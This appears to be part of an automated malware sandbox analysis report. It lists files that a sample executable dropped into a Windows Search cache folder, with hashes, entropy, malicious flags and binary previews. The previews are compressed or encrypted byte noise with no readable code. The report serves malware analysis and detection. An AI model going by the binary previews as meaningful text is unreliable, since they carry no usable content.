...;Vd.."P....T.i.E..X(z...TP....P@.qFI!.X.....p].\|.........i.3.z.........C...)....S.w~..l..w.\u)${3..z?`.@..m.&.P.z..V+?.'~.$.....(........P..w.<.....\|`.;.4@N}.":..Uf..i..U.c).D.@.....Q.......;...+.5&...]...$g..D...uS.r..,h...r....,...@...N......0..J.....QdD..F)..,..Z..%...= NXA....6..SP..........sq1T#._.. ..k....{m9{)............*wz...a.....5.....m..j?.q.X>./.q.?.&s)!.bS......<.....sFI.3..u.Q....n.7..l...).y..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\hAbWEdFpz7sABSGHo92EV1SPXRQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	172728
Entropy (8bit):	7.94748839643554
Encrypted:	false
SSDEEP:	3072:4lDO4t2w7YVwGN1fI/eKsgMhJdPpvHaLdTQi6NFzRFZ8D:IT2CzGjvrJpv6RUzFe
MD5:	C6330F626EBEFE3553E4507A18860DEB
SHA1:	AC5F18E40C7EF2D3A339E13F67D12FD37CCDB5B2
SHA-256:	E469BBC3FD3A731D58D33A34B4110C393D2337A9D55A923F5DE162C1583713B4
SHA-512:	DD35FAF4CFDC53D0CDC605D553F949C917184914F30DE4383AE6D2A7F0D89C784E4328B9BDE722609D76754072E4EABB0F92190C0AA7172F99C0AEED46FFBDC9
Malicious:	false
Preview:	"use j...e.{.I..Z.....8j.`....z...VI93l...v..\|... !17.k.lM`>(cV.1........=.....YE.k...5.`......LaQk{..y..n...........G...[.7..9..t..s...ct;..u.x..._...=..f....4.......Sm.o..,:#...m.g.C..m.E.....&..f..6#.G..!.X&...).........~$8._m...N....I..J.$.#"%28.p.BQ..y.F.v.....y.b.-.@@.4..n......L\|}..~..H..+..!"...?.j...?...ie.""....x+.6.%.._..Q.''.-Y.VbM.w...1.ed.IF..%.(.].+..g.c..J...2.e.\|.f..Y.$..m..E.}{A.fW...p..`..............5C.^Y.}F.V.y..+M.}.."p^.k9e]/.....k9.Y.M&..1......i.1...p.pW.H......5(...h.....K.l.]..G.xz..7...n...Z.).....?...d...v..,..%...>.....R.f..C....A.-.H.~d.*].?.U.0.e.{1..S....i....5..8...&..A..p./.d....#....>..Y.....4B..W....G..,.Q..X...&..SX..8n....r..TY......5..N...&-.0....x...Bj.....M. ......L+.H.x.s.B.........H).(...d.u4.z.<.y....L..:v.<8...D9..ds.q...zCd..O.8.#..[6.}.>...k.....O............0.g.....P..K<......#.`.....+.;.MT........e9..:..{L\..3.}.?"....0.D...............K(.Z....R..w.g@}.,.q....+.>P.<..GU.....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\j5xZRlJccnLYwHvUyxqh_abmeEE.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	14700
Entropy (8bit):	7.986791841186966
Encrypted:	false
SSDEEP:	192:jGpDN9OfFCsPR/y7d8rIiwovHcwHcsYIhuXgtLqIXQtBHkdxGSbIfnv5HozAYQV+:0PObPud8UYe5QXoqLJ1APVeNt
MD5:	2759C906EC4CA4C959781CDB4818B1A5
SHA1:	194B5A28DD66452E9E87EDF0AFBFE1D0D4AE180B
SHA-256:	DAC08FA7CF93D86FE82D50893E7C58D96BFBCC25AF44A9CCE1CE678037F5D5DA
SHA-512:	D3B52CA8ECA88E1FFCDFB821C22FAB6E125B2F7C87A9E491CE77B67297186B7A79CC3834D7903713235FBFC65929396855526969DDD2CB3F825D4B8CC48C7F43
Malicious:	false
Preview:	var W....@..O\/8..0.z..C!.n...A...u.w.lW..<.f.5.Ws.@].....=r....2s&{.V..V..1.....N....M.U..K.s....De..C.....gr.f.......RM.B...fk......2........"b...X..E.a.?.lF9...+r.....8.L8....V.........iP.\|%U.S7.'5...[..s.es.V."....@Q\|.....8R.C...I......K.TDdZ.D7....Ne.y..?.R..6Ej.......p.0\.a"._.n.D.<zW.c.1.. ^....A,...S\.V-.zE......28.m'.:.2..w......Eb._.'..b....9..gV...C..P./..Y./G.;.#.w /..+Tg.;.TUFO.H.....`{..w..F/.J.a./.....i...+....9..........0^`v....r._..5.Q..+.Z..(...;....C.....2....@Q..9.a......r...t....I%L.sZ.....#...Y...>...s.Z.....\.M...tR............j.j:1.4">..Y.l./.f.^@t..ToY..U.#..'@.-...../.P......cv...%D.9Q..O+V.3O..Q:Y..y...q._.O.....h.......@..>3..,..."J.z.N...?J.v..7X.X.9..-"..FiM.....o.{R....?K..Q.0....P.0..KO..F....y..6.....>..=<..:e....8\|L.k.^q...!...N.w..8.Z.p/....%.eR./).?........j.:_.F.,......8.wZ...^....,.V.Jh].L.p./c<W]O.+...&...........H.?. .`.c.W...w.-....[.......T......>.N%.rg).3.8...u.kVK...I...h..(.\|_?.....n:W.!..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\l1NajuxeuQ3qDy6uCL1VS6rO4Lw.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1825
Entropy (8bit):	7.896595610170095
Encrypted:	false
SSDEEP:	48:6Pg+Q1muhRPh2meQexO3TbTvLPo87Z2hfmayD:D+AhFQvfxInPfshfmaa
MD5:	161E5C5D8B047857DE79C0A6E0B45A80
SHA1:	6B1E87608B3E534E2233887D4B0CA4CF221E05E7
SHA-256:	720FE47905FAB34843046A9C27BBCA9C8E765D3D9F0E2820E565936791E126CC
SHA-512:	BCE3A6FB611C5F2EAF9530430B28C09750B607146408CAE9436C1B548ABF0C79DBAC582CE48930D8EFB58887B748D02F646CAE58F35DADE0966243A7270F4BE8
Malicious:	false
Preview:	var W..R....O.S.5.0.../........^0G.X.&yu..y......kRk.y......6.3./i}.u}j.............2.j....F....z...G ...&..-..U'v........J..S.....l8.......`F..:...b....NTter...$.J..^.n<..G.>.......j..y..4.sD4.r9..qB.....XP5}I~.H>.....n8."9...k.....V2.../....EF.../._K.>...2H..1.s`..6..n.Eg^....D.b....k...._...\.P`a5.(...,..>Bl_.jcu...0..... .'~..r..".....{.!..C...B.B.......!...B......kf...7.e.v..p.c.....^.... ;d.y.#...?.....w..h.C_.....!...."\...f.B..E<.T.:= . ...*2yZ....T.,.k..5.......bc...c4....R.....&8..F....a$..W...B.Jm.K.......T.n.5.....?];.hw..J;........R...n.9.J.D..z........{.....Tv..t.q.z.H4.x.`....X.8.?/.....+....#....3..@.N.}..1z.S..Q.....x..t.j..0..J.%......U....M.}...=.}.......ab.......!_..0p.....U.i3.9G.I......}. .3]Y.qV../.(.-u.F....&.~.S....E..]+sS.-..C....r....c.C.0.....\|Kx..c..XF....I."Z...(...v....1....E.'k/c....a&Y..J......:...+:.DW.u...W.<....F...S....{.Z...IE.N..v.G._.:...;V.V5.uk../^..HG&...X..c{w.h..._(!.......J.;.f4...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\lu0mWeI3G2l7mRreeuIGIzuL1cw.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	7794
Entropy (8bit):	7.974894708305491
Encrypted:	false
SSDEEP:	192:5P4hEf7QY/XxVc88n/y92nwdaqsBR9qH2:GhEsCxVcd/XqIj
MD5:	2F2208F5F0C831F46EECBB21199069D3
SHA1:	C57A23B0F7899CC82D3EAD831D582B2F8A71BC0D
SHA-256:	BB66DDE5CB2B0039A494E3A50D798D5B4E95E7023AFE2E1CD0E81AE69C30784C
SHA-512:	412B2FC31F09E705084DD5A81F566AB3968671212349B70B87A530BE9ACF7AE26802E200E4C7297AE9A45BF59855225C2D3AE0F9AECCF64DB6F08DD0319D2C8C
Malicious:	false
Preview:	var WCJ..\oB}..g.).N$ge._.j.C....,..mW..<...\|...W..P.\|...@=.OF.n.....}........Y..A..Q.jH...E...m..h5.L........#....r0g6.<.."<.7v'To.7.........v.z.ZP{e.a?..?9.H..4.~>.MB@...JY.0;....1..m.Q.3.....;.....I&4.mNR...l"..q.ew..<...x(.w..{c[7..L.s.Z`kq....cI.I.....q.. ....D9A@...rC .&.z..=j.<.F..}..i7m.....6...uH..!c.L.., E3..5...C...H]..j.........Z.!&.Q.8..Y..b..:c.rJ$`d.w.{....@,w`8.G'.bX%.Yd.y....].5\|.......%,.Q........s.c.`.,. .P..;.<U...).>...R....Z0..T/t......'.?Ek./.(+W..Rw..$Z.G`}..oNS..&rf.8...........L.!....qs.2.......d7....qR..L.g..W..bW.......8......D...L..u.x.^&..y..AnJ.r..6!.#je......W\R.1.L?..{....... ....x...Bl.z.....u..7.s.....)<....#o....N.)H4.`..67)....b.&U.e...^}..@X..Z..f.....+..#)....~2.j..Mm.7).E...~.K...n...`.b....B...E>......B.n+M.Z....!7.....U.Kb..M.T!....Q$..U-...._....W.....n.....1.5..D..~..k....Q.V..R.q.nj..M.(.TpR.I.....pF.>LZ3.Xs.*......&,=.Fu.Uu..&nw.\...];B..t3.aq..)4.1.....y.q.4...S..R.J.E.}.-...e

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\mb8fkd60iW7q4wvyDIlCm9OOn10.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	44680
Entropy (8bit):	7.996100016224197
Encrypted:	true
SSDEEP:	768:vcOVZ66MUHLUe1thHwruZ8Pax4Njm3UDI/hQ+XNEWTdAiGvigTHxOyBsaws3BVRU:EGDMQ5ThQaui4mfp7NIiGvNTH7R3BVRU
MD5:	4540CBE58BF6D60664A04FA7CB74A7EB
SHA1:	5AA6542EA9334814C2C71FA152294E429EDF21CD
SHA-256:	1A0808C3C74BF30FC8CF338A999BB52BA00DCD1591C45499B5C1C0ECB4E3D77F
SHA-512:	D2CDF4F1D8B568B1647A64E91A1A4162652C2A9DFF149E8EA0675EC61018F12E3809645C0822365E27443BEF62D749F372F84DAF233747255CB0B063EA1A5993
Malicious:	true
Preview:	var MkV8 xf4....WdG...kVt...u..H....G.OH.3..j.J{...........Jz.[uQc?...j4(.a.h.9.2.C.9..-..2.......>....3H(..x.}A.....)Z.QM7....^.S;.....X..W..k..0. ..v.\....Ls.)....j w...j........^;.....m.p...9.j.....mK.i(z.k..,WX..Be1..>'H.. ._..D...H..Rz..~...V.t.......].8o..Az)I.....p....U...b9-.}5..=_D.....h^..X.....eq?.L...._.E.C..F....U...O. ........B...&S]...J..kmQ.Akdx+HTB...\|...c"<.w...9....r........q.y..=1....+/8NXh.&8.Y...6#.rM4O3y;.....5,.).p..t......C{.>.dA"Nj....g.f;.........n....'.. c.e.A..D[z..h..7...n.k.w....X.j....k........."Y;...S.....M.x...!-....kC..x>...b.).@..4/K.d...^.....^....Us.^.R]...RT4..,.H..J.M.....szSv...%............).8...S...266`x..........a....J..b.x7....=..;.K.\.4.5..?.._.Y.9.<.Y$....Sp..{e..X8b..n..kTx...q........0!..r..@.....k..h......B....{..}..U.h..../....F..y..'.S.7.-).j..T.kT,..^Z....\...q...HTL{z.2,y.,..........-..2<q...;P...(.j.-..cf...%U.....i/...x.,.S.......`..I.WZu.,+K..x.O..^...O...*..Z.....;z.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\n7LMSoHYYIBGa1VPMlnTzxBvlfA[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	6235
Entropy (8bit):	7.970722703587716
Encrypted:	false
SSDEEP:	192:EiNsz1FEfh3vLLvd/+In4N4DvWiQMzCJQcgez4Rx:ZNszLEfJv3v/MMzCJbgL
MD5:	8E4711AC34C08950708C099AAA01C1DA
SHA1:	90CDD2C46D1B8C493A6E2FF610545244C1BFD006
SHA-256:	E14D1BD57BAE036572A01AA20DBEC24DE2EBC741552730431A3999396CEFACB6
SHA-512:	C9897188762CE6D1D0E66EE76A09D276F7800CDB883878BC5C8BDF8062EFD60758ACB601ED0C391B051E6FD953FC004801BEF7B8B174C6BC2337D4802BD8EFD8
Malicious:	false
Preview:	.b_se..[...Y..nx.....\|.&.P}.oT...V:X.@.M..S4.....8lR.:Cc....Q./.j[....g..~F.B..._....0.Ko.!......>UC.i...Y..JE.........Xx.\..rDw.ZS.W.l4..4....#..5(v..........V.EkS.o..g..\|).6J.X:.T.@..a..5.......$.P...f...,y..."mv.x......,._c.>.F..)#<....=e....B..I.S]....7..v.O.D......O..rG..i..`...V)$.%....%..V...y.....Q..<...#..F8...j..m.c.jm..L..\.N...0M.D.=..E.\........1._s.YS.H.T....P.E....X..Q.T..yF.f..k..@.g_ .V.4..%..G..........k...8+..9@B._t..$....Pf....Ad....W..\P.`..;..NQ..P+2[.3...>1og....$..R..w.e.b.~Z..-.........L...b..2.].w....w{/..hM.y..IL4.X77Y..z.5KY...(U.m.[s.u..p..+r..q.\L..7M...f..5U..f.).w4..:_..0...,B....y..QN..'a5...s..:.K.>...K...l[...l.^...j...<.l0..).l....\|./...K,.@.45...m.X....Y.g&#SX.m.o&K...].T.?H#......&..8+.Uq^.)4.... ...........~.D.J.8].:..D.yO.K....7..j.......h.s.(.s.?..2 @...s8..]......X:..Z8...\|....k'...SE.?....H....^i..../.1.OkY.J.....j.t!....$...KCr......Pb....`....ct_de.. t.....-.@.v."..>9.?:..... e.v..1.$F

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\onra7PQl9o5bYT2lASI1BE4DDEs[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	67448
Entropy (8bit):	7.99776271303442
Encrypted:	true
SSDEEP:	1536:1xMKXSbV4AmbSCs68Bkx4Fgf7P4BBCMRpiDoXItQdoptRk9gV:1x1wCJb468B24FgzP6CMRM8Sk9gV
MD5:	455487D722CBBA8A09D704A68784D831
SHA1:	375B133C20A3737F3A552DD16F10B4FF62D20FB6
SHA-256:	74717484D321806221EB8D83B37605CC6E54B46815E7C2669B9F938D1867AA3A
SHA-512:	E761D3DE7C7F3EA2104E777735A66E747EEF6EAAA6534DD6B217F44E582129E3464A293D140DBBC58ED1F260BDBDFC8884A703BC03B91F1B7976B2C095CEEA48
Malicious:	true
Preview:	@font.-S._......lf..F....%...ZVUq.-...M.X.&!.%a....z..\.d..@U.H.%N.'..Hv5.....G..y!...t.w@./.9..l.4.....96.#f.7.:..M.hyT.. p%.pu..:+....=.Cj.2O..d.f/...Tr..dTi-..D.?,F.....M.W(.\|....u...l..w.$.%..qe...[.......g.....\.;..`.lR7p...&V...+.A.G1...VE...q....c..w...+....79...5Q}9.:k..)y....mz..j.[./i.....@.@.O...t.}...".O<.<.W)..q..=hy]]ou..R..`.......+@o......@.Ljw.f.g[..5.qt......].PY.D.?.......z....=.Z;.. ......w5..z...Y.,v.A..6.{..H......5.$...A.0..U..!.:..).....6J..Z......0U ..o.y..`nb(.7...p...n.X.......`..Y.B..pUP..K4....F...9;F. 7u.P....XS.xq!z6&...-.h.}x..:Y.'.....'Y.C...$.9t9....^.)....t....>.n........lx.sVdn...r].c..,a.Q.Ou...yr....X\7......m..O....k.......N.$.[b..$..K/X.r....._.P.ks..}..G.!..y.'....'!....{.XQ..E...w.dI6...Z......(M.=..&j~P........Kn.gb........:.................U.c..u..D~.`.].%(.di...)H.....=7#vi..mD.....l.<T.2X.UF#.....9u.H..o.9..}..hH...`.]..8.....E.feiw?;.,oZ6Q.....t.f..E.{.$[.Y9.;U.....8.......i4`...6>...$F.=}2

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\pqKAmz-4RXsuUf_YO-8_wQDepUQ.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	40292
Entropy (8bit):	7.995803548771543
Encrypted:	true
SSDEEP:	768:6uedsAftvTx6Yq4r4AJbEjMPFogvS7b+bFCTIsoR4ba6hibc/UbwLNMx/8:6ued7tvTMY/JQOSJ7CbeIba+6Ibc/LNJ
MD5:	081F13763BC7A7E8BA8BBD537DB44647
SHA1:	C20DD899943805DD928A8202EFD2F5261916373B
SHA-256:	23CA7D7620915C5B79DD4F2A0B6EBEAE7B24C8AB8AA3A629B92E2B429773217F
SHA-512:	410B8F7F76033D85CE167C4A6636F631463521E3AE61D23A4EAB2F10734AB815AB80F16094687510AB83A3F4C97942C65F64D0388700885EC78D921827259742
Malicious:	true
Preview:	var W.."/8..e..G...{7...eE.0;..1.H.$......j,.YJ.>.5./:./...RL......}..3...../c........s6.q2...'...6.E........~.....s._..heV.N..$.K._......$...0.{..vm.....v >...vR6.\|...A._N/...y.+..A8.Q.q^.s.^.o.".NI....C...G(...)..kCvW<.....B7.W......(.....4..u.>.sZA.k.(...ro.h6.c....Ue...5.G^]@.%.-{S..MF.c...".Ie..g...G&...f.RS...G.....R=.s.........l......)0.z....?n.t.0C.(Hg..k.,.$..].e$Q.J...a~.gJ1l.. ..#t{..k._......F.ROu.(.f.{F.}..E..:.2.,.I.b....8.L.\.CF...E....!..;...Nb.b.M.L)...".....\......Z.89e.^..x./....\|h..}V.....[$.=..#....)...!..}.>i.&.n!k/.'M^.....h8.KE..BV}./.uk@J03v~..D..N....E....ei..=...\|.8X......3.).s...U.C."...{r......G.;....F..7.NCj.l.2.n-...Q..o\|x.?}..q...........*...9......L....&.=3yq-.....a...MI.....).p..a9q.M.61.....s8+.f....j..m....<...U.@h.S.l..J.U\|<..}.sZ].X..{.?...a.q...x.B..x...[FE..z.$.\|.[Z_n.b.:.....{v ...c;..+.lz.0..}dk#.{...2.:.....NY%...f\|....!.....'t.....T...........y..P."..`jA8.u.{...$.+k.,o..v....d...6.K...%..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\q11NvYzJks_3Zy5BRKPM9baeQ7M.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2193
Entropy (8bit):	7.911520463743305
Encrypted:	false
SSDEEP:	48:lUUvZgtW4vfNA36RcUHJpWko+TzQCiKgtXHMy1q9hyD:VZgtW4vFAKRHWMfQCvuMywa
MD5:	4BF46888072726528AD176E8CAD48534
SHA1:	6938909BDFE08F0CF4B3F8B35169F5505FE0C933
SHA-256:	53F8D5A25563BF989D910F093A8548B7C228726394E9233414E4D8C15793CE9C
SHA-512:	4C153678C17EF4EC1CA6D4030F157FAA345CEB2C310FD3F6421A9634870F390B4D765E02CE05155296E748F18ED44B7D8A5F4603D3BD43ADC917F29BD27F3113
Malicious:	false
Preview:	var Wu..YCui..KX..O........kr.(.(..2.=woMb.....9...I...>8.+.....] .........W.V.g.2.r(h...dz...?.......H..7.B.Y..e.E..q.C...bRJ...5u.".....M..f..\|..X41...?...=.._:.Mz.F....\|....P..L.?'m.D<+..%...)..%....!.Qs.aH\|.}u8T2...<.G...:/...}..~57..y...........?....x.X..... H.U2\|.k....bYpk..G....].L.^.3...].......j.......Z..1C.@c...........'Mv.R.K.~.9(L....y.U.h.vUO......(...S..&...'#B}1{....sv.;....r.."F....y...}'...[.u....4...%F..d#.[.0........-.+....0..l.a.:w...=...\WB...#.....".P..Y..._...m.q(.:CnG`.....1q.(....o.LA.P".S.C.SB.%z..e......".V...pH.S....S)'....M.0.f[...9....E......OH3.+...p......Y....T....a...6C..,.$#?.v.7Fo%..d..,L....a.....\|..w.a..$.,;..Tq.kS..1U.T.u....K......". .U/.o......[6Z.P./Q.........q.u!H...c .........P...5{..S........1K.......UO.UC7...~..Dh..j...t.....i'..,.,..e.Y......l.>Q.Z.......rT....nq...j....."{%..Zp..X,t...W.f..f7.o......GJ.... .a...07..j.H`..H6....1........z.L..r.+..s..u..s..\|/x..V`...0y..W!...L.ij5.n1..5.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\rUQ8SSsIzKcgb77SIOCfnAbpfB4.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	447
Entropy (8bit):	7.463788237613592
Encrypted:	false
SSDEEP:	12:uypR1sN1Z9Tv0XC0sNckxNZGYwR/n2Pe5jm24ssoqw1cii9a:uyn1s994ccMZxgn2GBT4s8w1bD
MD5:	A7187B5C1D040C16B5835AFF958B9E65
SHA1:	C4BB95D9926BE2D9C5EC570096684DB257D9A9A3
SHA-256:	60481A676F6C685956B201CAB0B2DD7384EC201C98B3A9F6237F491416426251
SHA-512:	17E8FB59FBF11D64C9DBBC210BA310262DAAD8C5FED483A26C5CDB9E3988B3DB92A3B80A3639C793C7D6F3CC9E173EEDC21799C072C884840FFF491CE0A6EADC
Malicious:	false
Preview:	var S.b{....7nI..!j.>...11.0)....f.(9.lS.6....,.s..%.9.....I... .......%..tW...&=.....h0M.. ._..M..X.....wFq............$.g.T.T3..M.N.,.E .(a....7..aQ...s..Xth..6>8....f\|.5V.O...........\|..'.....-.^'J.........j.Vs.3!"........E..D..4.e..:Bc...g.86..f.....*-(..........K:1A...-.@...F...16.i...W..<r..%Dx......>t...g...H....g..%..Tz.s.^j.gz....z..TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\tIa_X3QDXj2Izj2HpQ_Mo9f1WiM.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	126434
Entropy (8bit):	7.9986372672852655
Encrypted:	true
SSDEEP:	3072:TjvUi4RM874psPPhRsJzzPS0jgTHO0sPxBcmBSj:TjvUm874yKTS0Au0s5nBSj
MD5:	38D0AAB4243E25B9F98EC28A14978C29
SHA1:	30A7EC4A5FD6B6084B6EF6AC4EBED2471B2C82BD
SHA-256:	516FAA62E51C57C399FFB581202CE3F33FD154AAEC12AFFAEB65A594DA295536
SHA-512:	5DBCA1F92884524CAEBBE1DD91F4D3EF231AA924057BBC00217D9345F02CCEF15F2D815B5179DCA761899727032D97E4C587C6FC3FF829DFB413A123EC54D6AA
Malicious:	true
Preview:	(func/........8....d=u?.(..tFQ......`.O......j.E.....Ej.;.....J.VJ,j..c.~..F.T..".S..b..&GZ..b.......o.....$.J.=..7Ol..lwuI..5..x..H..=\|g9.R./W...r.qr".._TSz.vj4z....a...\|.2.8.b~L.h.V../g.y*A.]B..$.$.93r..3.kF...S+...T.."...U...Y.<.....HZN.ms.dN.....3..Y.hk0...AX.8.;o..Og(.....{....5./.s...d.]G..\|/.J.i....&...ac.dD...e...0$..9,I&...$....o.Z@......n...../..xnf$.wr.<T{.\|K..z.%..`.N.J..j..5AxN..w.[..~6I.M..P..k.;>.s..)8.{...x.s..0@.A&.d..[."..>.; .G..y.\|N.w?.j\~..0..`-...b..P{;.[.(.x..R?/.J..u....2Q...>b......P".^l...E...k..]r...-...Z..>..u..Q$....8B.<..X..MB\|.8.9C0....R,..H..!..,.&...'.p{...........b....b..x/..hu)....M..s..K~".+w.j...sU.....q.H....t..Y..PDd......hZ:..O....t.Y.L9.......<>....@+...a.sp.h3.rqSM6lP.(...].......S.u3.m......O.p.......in..).........q0?.......!y.>.}nn...K.9jy`..{.....m.n6!NxZ.......^U....ns.k@.v.M6'.Ix..9..[..I.[...H...D..f...X2..).....x.R.7`...v (%.`.!...>'s.\....i........4fv?+.{...4.zf.nz.......J...z..q..0!=...TkaL .m.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\u6a26xOewOMoU1ZXcaLiQPZApTU.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1949
Entropy (8bit):	7.908999280147123
Encrypted:	false
SSDEEP:	48:uHB2EQQqwjzwSeOBcKuraGjNcMbIv3zYOTAlGQrAyD:upQQqEzWOBxuFjJ4jn0lGQrAa
MD5:	33EF45284355793F6C35EA55397362C3
SHA1:	B339AEFC0B604F05740627D9D247F20AE697B805
SHA-256:	E04259346CC47748F4CF94CEB574D596C914BCFA0D00DBFBDEEF8F37ABAFD1F2
SHA-512:	5DC3909DCDFFD7EDEF58595954C2B56CD4A4EC36B18B1C11ED163C7F3AD9113D18FA6023ADF5CD20708D694A196B62D7A5150A74F26F95A68C0ACBAE3A43C49D
Malicious:	false
Preview:	var W....s...A..k.,}..n4.V.l...4h..qY?..y......c.H.l%.Q.<.3....XS.di./,..F.(.V}.....RG9."..J.&...I.v....O..J.`...1".]-pG<.<.@..l\|....&g+..~..A..r.......#`.8`.....u..P\|...L..Xz.\|&@Bi.w....7.....'%..{..D.;.+DN......a..%.......A..W.D........]........g...U.1..f......P.<......:..f...0x.._.Q...{...pr...z.d.....B9..c..QYStk....3....Y2.0..[.{...>../(..vBe...u...W....o.....1Q".....Z>M..4.0.B..x...,?w,..9X..y(6......B+...S...`kIz~;..<..W".K.0\...\:..1.M..s..8yJ:....U..1.#Y!6..Aa._....V8...VW...Z.....3._j...Vv.z....m.[....bD.q...g.....Jn...S..........?\|q..sKY..o.!k....6u...=...l{....cCo..*6.0.....:p0.Hv. d..Uc...)h_%.....jrl.i.H..v`...Q......>....M...-...1U.2.O..`..qI.%,...=-'..,..Ed...].B0i.....9W.or...EU.f....+y>.82Y...e...L.C/t.................. .._Q..F:.w...O^h$..yu._.......1...H...xNf.:...&&..,.9.H..v............I.....@.mOR.=."..v^..u...8.c....{v.n....0#.5...7.B...._...k8..Z..`.W4A .O...>.wtlQ.I.q.....;....'>..V....b.9.......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\uANxnX_BheDjd2-cdR8N9DEWlds[1].css

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	20755
Entropy (8bit):	7.991667145125924
Encrypted:	true
SSDEEP:	384:PEfJ/4wVoR1bsktNJF5HmMaxvyzL+5nLXr+jNvrX10reY:PkmwI1YuJF5GMax6H+5nLijRj1RY
MD5:	5C4D746002E7AB87147D535D6D4C61CF
SHA1:	ACAAEA6FE35E658BCB5C94EE401697B3054786CC
SHA-256:	6B63094B29F048B1C0EBC2947AA2C4778A31D1256967B3E7621DAB89D7C81DEA
SHA-512:	EB770D5F82660995A7E2420992CADCED21340CD8321DBF01B60FF330112348C36FD3A903971FE24D6B400E5859E44DA8A4600C53CE3910F74BCDFE715354C0D8
Malicious:	true
Preview:	.sw_p.......V...u$Q....5.xtC..0.K...x..{.`....y.#/.x....fB\.:x.lA....qQ....Sy.....?..z._r..3<..f...v~}. ...q..j....F.~ .^l.......~s.d....jJg6..?>WjxG..l.9m.J..9...H#..d...C...\|....hq%=u..b1...;...\|h.hS.`q..h../..?.......(.;S......kV9.6....).o...W._sM..V..sea..O.....Q....$ ...H....P;.2.ZbS:#..-H...... .K..-p..2u.I.9.\|.).vxDxh..P^.V.@".....PEY..4.....2.....d.,...s.s<.[......._..~.;]\...Z_..#.....YY...T6%{...I`@..H...\.w.3..V...~.ge..T].U..3cQ.N+16.Cr..>..N .q...I.....=`3.Y6VR.K6..h....C......E+.c....o...8...^..>.[......5.$..U!$..P..C0BO5.....JC#...\|.....Ov...i..0~.YV'V.tO.Bl..k..f......r3..V...........e.+.S...^...A.D.s@a..d.....j..\|.U2..kz...Z.H>x.Xa.\...-..B.i.A.....S.7...x..i.....L....#...S..C.$....;.:'n.....u.E..C..4.Ef.Y...k.P..KxP.\|q.."...#.Q =.S.....I:9.../.UH5..X.k...r.{...2...D.....e;>..0...{.0.`.(.L..g...P..&4.'.'oL...v...............{TT.3..cqH}.Yk.U...l...2.0.8.a@....C.%7qfD.m......U...6!<.Z.m..j.!#f...g0..u..P.V..R.!vK..).F...`.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AC\AppCache\HLJZZSHQ\2\wokAADULDNIRJUcpGmEjmH9QAB0.br[1].js

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	254754
Entropy (8bit):	7.498677347560007
Encrypted:	false
SSDEEP:	6144:eYlkm6SAyqbGjJi7rLtNKN9LfdfwA0k3LZBDYguVe:pAxb2iH6N9zdfZ
MD5:	01B3A293F812CA5AA9ECFD4BD6C95896
SHA1:	222259C1FC7A51F6DCB93268A2B965DA1294F8A8
SHA-256:	EDD38F756A967011824C9AB6643192D283BD5A81DDECED9540E9F018A90BF4CE
SHA-512:	1091ECC769747E68F799B8749056CD6E191292EF28A9B2F40F7CF3560747D04E6E46E5FEE159E1DC7301E1C233BC8E727220157ABDC273B87705B56ECB713EF1
Malicious:	false
